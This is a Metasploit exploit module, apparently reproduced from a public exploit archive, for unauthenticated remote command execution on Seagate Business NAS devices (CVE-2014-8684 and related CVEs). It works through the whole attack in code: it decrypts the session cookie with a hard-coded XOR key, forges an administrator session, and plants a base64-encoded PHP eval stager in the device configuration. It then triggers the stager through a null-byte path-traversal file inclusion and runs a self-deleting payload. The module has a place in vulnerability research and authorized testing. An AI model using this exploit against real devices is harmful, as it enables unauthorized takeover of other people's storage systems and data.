Seagate Business NAS Unauthenticated Remote Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',  
'Description' => %q{  
Some Seagate Business NAS devices are vulnerable to command execution via a local  
file include vulnerability hidden in the language parameter of the CodeIgniter  
session cookie. The vulnerability manifests in the way the language files are  
included in the code on the login page, and hence is open to attack from users  
without the need for authentication. The cookie can be easily decrypted using a  
known static encryption key and re-encrypted once the PHP object string has been  
modified.  
  
This module has been tested on the STBN300 device.  
},  
'Author' => [  
'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module  
],  
'References' => [  
['CVE', '2014-8684'],  
['CVE', '2014-8686'],  
['CVE', '2014-8687'],  
['EDB', '36202'],  
['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],  
['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']  
],  
'DisclosureDate' => 'Mar 01 2015',  
'Privileged' => true,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Payload' => {'DisableNops' => true},  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),  
OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),  
OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),  
OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])  
])  
end  
  
#  
# Write a string value to a serialized PHP object without deserializing it first.  
# If the value exists it will be updated.  
#  
def set_string(php_object, name, value)  
prefix = "s:#{name.length}:\"#{name}\";s:"  
if php_object.include?(prefix)  
# the value already exists in the php blob, so update it.  
return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")  
end  
  
# the value doesn't exist in the php blob, so create it.  
count = php_object.split(':')[1].to_i + 1  
php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")  
end  
  
#  
# Findez ze holez!  
#  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri),  
'method' => 'GET',  
'headers' => {  
'Accept' => 'text/html'  
}  
)  
  
if res && res.code == 200  
headers = res.to_s  
  
# validate headers  
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')  
# and make sure that the body contains the title we'd expect  
if res.body.include?('Login to BlackArmor')  
return Exploit::CheckCode::Appears  
end  
end  
end  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable  
# something went wrong, assume safe.  
end  
  
Exploit::CheckCode::Safe  
end  
  
#  
# Executez ze sploitz!  
#  
def exploit  
  
# Step 1 - Establish a session with the target which will give us a PHP object we can  
# work with.  
begin  
print_status("#{peer} - Establishing session with target ...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri),  
'method' => 'GET',  
'headers' => {  
'Accept' => 'text/html'  
}  
})  
  
if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/  
cookie_value = $1.strip  
else  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")  
end  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")  
end  
  
# Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly  
# then update it so that it's an admin session before re-encrypting  
print_status("#{peer} - Upgrading session to administrator ...")  
php_object = decode_cookie(cookie_value)  
vprint_status("#{peer} - PHP Object: #{php_object}")  
  
admin_php_object = set_string(php_object, 'is_admin', 'yes')  
admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])  
vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")  
  
admin_cookie_value = encode_cookie(admin_php_object)  
  
# Step 3 - Extract the current host configuration so that we don't lose it.  
host_config = nil  
  
# This time value needs to be consistent across calls  
config_time = ::Time.now.to_i  
  
begin  
print_status("#{peer} - Extracting existing host configuration ...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),  
'method' => 'GET',  
'headers' => {  
'Accept' => 'text/html'  
},  
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",  
'vars_get' => {  
'_' => config_time  
}  
)  
  
if res && res.code == 200  
res.body.split("\r\n").each do |l|  
if l.include?('general_setup')  
host_config = l  
break  
end  
end  
else  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")  
end  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")  
end  
  
print_good("#{peer} - Host configuration extracted.")  
vprint_status("#{peer} - Host configuration: #{host_config}")  
  
# Step 4 - replace the host device description with a custom payload that can  
# be used for LFI. We have to keep the payload small because of size limitations  
# and we can't put anything in with '$' in it. So we need to make a simple install  
# payload which will write a required payload to disk that can be executes directly  
# as the last part of the payload. This will also be self-deleting.  
param_id = rand_text_alphanumeric(3)  
  
# There are no files on the target file system that start with an underscore  
# so to allow for a small file size that doesn't collide with an existing file  
# we'll just prefix it with an underscore.  
payload_file = "_#{rand_text_alphanumeric(3)}.php"  
  
installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"  
stager = Rex::Text.encode_base64(installer)  
stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")  
vprint_status("#{peer} - Stager: #{stager}")  
  
# Butcher the XML directly rather than attempting to use REXML. The target XML  
# parser is way to simple/flaky to deal with the proper stuff that REXML  
# spits out.  
desc_start = host_config.index('" description="') + 15  
desc_end = host_config.index('"', desc_start)  
xml_payload = host_config[0, desc_start] +  
stager + host_config[desc_end, host_config.length]  
vprint_status(xml_payload)  
  
# Step 5 - set the host description to the stager so that it is written to disk  
print_status("#{peer} - Uploading stager ...")  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),  
'method' => 'POST',  
'headers' => {  
'Accept' => 'text/html'  
},  
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",  
'vars_get' => {  
'_' => config_time  
},  
'vars_post' => {  
'general_setup' => xml_payload  
}  
)  
  
unless res && res.code == 200  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")  
end  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")  
end  
  
print_good("#{peer} - Stager uploaded.")  
  
# Step 6 - Invoke the stage, passing in a self-deleting php script body.  
print_status("#{peer} - Executing stager ...")  
payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")  
payload_cookie_value = encode_cookie(payload_php_object)  
self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"  
errored = false  
  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri),  
'method' => 'POST',  
'headers' => {  
'Accept' => 'text/html'  
},  
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}",  
'vars_post' => {  
param_id => Rex::Text.encode_base64(self_deleting_payload)  
}  
)  
  
if res && res.code == 200  
print_good("#{peer} - Stager execution succeeded, payload ready for execution.")  
else  
print_error("#{peer} - Stager execution failed (invalid result).")  
errored = true  
end  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable  
print_error("#{peer} - Stager execution failed (unable to establish connection).")  
errored = true  
end  
  
# Step 7 - try to restore the previous configuration, allowing exceptions  
# to bubble up given that we're at the end. This step is important because  
# we don't want to leave a trail of junk on disk at the end.  
print_status("#{peer} - Restoring host config ...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),  
'method' => 'POST',  
'headers' => {  
'Accept' => 'text/html'  
},  
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",  
'vars_get' => {  
'_' => config_time  
},  
'vars_post' => {  
'general_setup' => host_config  
}  
)  
  
# Step 8 - invoke the installed payload, but only if all went to plan.  
unless errored  
print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri, payload_file),  
'method' => 'GET',  
'headers' => {  
'Accept' => 'text/html'  
},  
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"  
)  
end  
end  
  
#  
# Take a CodeIgnitor cookie and pull out the PHP object using the XOR  
# key that we've been given.  
#  
def decode_cookie(cookie_content)  
cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))  
pass = xor(cookie_value, datastore['XORKEY'])  
result = ''  
  
(0...pass.length).step(2).each do |i|  
result << (pass[i].ord ^ pass[i + 1].ord).chr  
end  
  
result  
end  
  
#  
# Take a serialised PHP object cookie value and encode it so that  
# CodeIgniter thinks it's legit.  
#  
def encode_cookie(cookie_value)  
rand = Rex::Text.sha1(rand_text_alphanumeric(40))  
  
block = ''  
  
(0...cookie_value.length).each do |i|  
block << rand[i % rand.length]  
block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr  
end  
  
cookie_value = xor(block, datastore['XORKEY'])  
cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))  
vprint_status("#{peer} - Cookie value: #{cookie_value}")  
  
cookie_value  
end  
  
#  
# XOR a value against a key. The key is cycled.  
#  
def xor(string, key)  
result = ''  
  
string.bytes.zip(key.bytes.cycle).each do |s, k|  
result << (s ^ k)  
end  
  
result  
end  
  
#  
# Simple XML substitution because the target XML handler isn't really  
# full blown or smart.  
#  
def xml_encode(str)  
str.gsub(/</, '<').gsub(/>/, '>')  
end  
  
end  
`